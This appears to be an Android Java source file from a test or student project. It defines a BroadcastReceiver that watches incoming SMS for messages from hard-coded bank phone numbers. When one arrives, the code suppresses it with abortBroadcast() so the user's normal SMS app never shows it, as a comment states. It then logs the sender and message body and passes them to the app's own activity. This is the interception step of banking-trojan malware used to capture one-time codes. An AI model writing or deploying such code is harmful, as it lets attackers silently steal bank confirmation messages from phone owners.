package ua.edu.test.sms.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;
import ua.edu.test.banks.AvalBank;

public class IncomingSMS extends BroadcastReceiver {

    public void onReceive(Context context, Intent intent) {
        final Bundle bundle = intent.getExtras();
        try {
            if (bundle != null) {
                //Получаем protocol data unit полученной СМСки
                final Object[] pdusObj = (Object[]) bundle.get("pdus");

                for (int i = 0; i < pdusObj.length; i++) {
                    SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                    //получаем номер телефона
                    String phoneNumber = currentMessage.getDisplayOriginatingAddress();
                    //проверяем номер отправителя - является ли он номером какого-то банка
                    if (checkNumber(phoneNumber)) {
                        //если да, то производим перехват СМСки - в стандартное приложение оно не дойдет
                        abortBroadcast();
                        //получаем тело сообщения
                        String message = currentMessage.getDisplayMessageBody();
                        Log.i("SmsReceiver", "senderNum: " + phoneNumber + "; message: " + message);
                        Toast.makeText(context, "senderNum: "
                                + phoneNumber + ", message: "
                                + message, Toast.LENGTH_LONG).show();
                        //отправляем полученные данные в Activity
                        Intent mIntent = new Intent(context, MyActivity.class);
                        mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        mIntent.putExtra("phone", phoneNumber);
                        mIntent.putExtra("message", message);
                        context.startActivity(mIntent);
                    }
                }
            }

        } catch (Exception e) {
            Log.e("SmsReceiver", "Exception smsReceiver" + e);

        }
    }

    private boolean checkNumber(String number) {
		 if (number.equals("+380936815824")){
			return true;
		}
        return false;
    }
}

   /* private boolean checkNumber(String number){
        for (int i = 0; i < numbers.length; i++){
            if (number.equals(numbers[i])){
                return true;
            }
        }
        return false;
    }
    private String[] numbers = {"5433", "+380664584883"};
}*/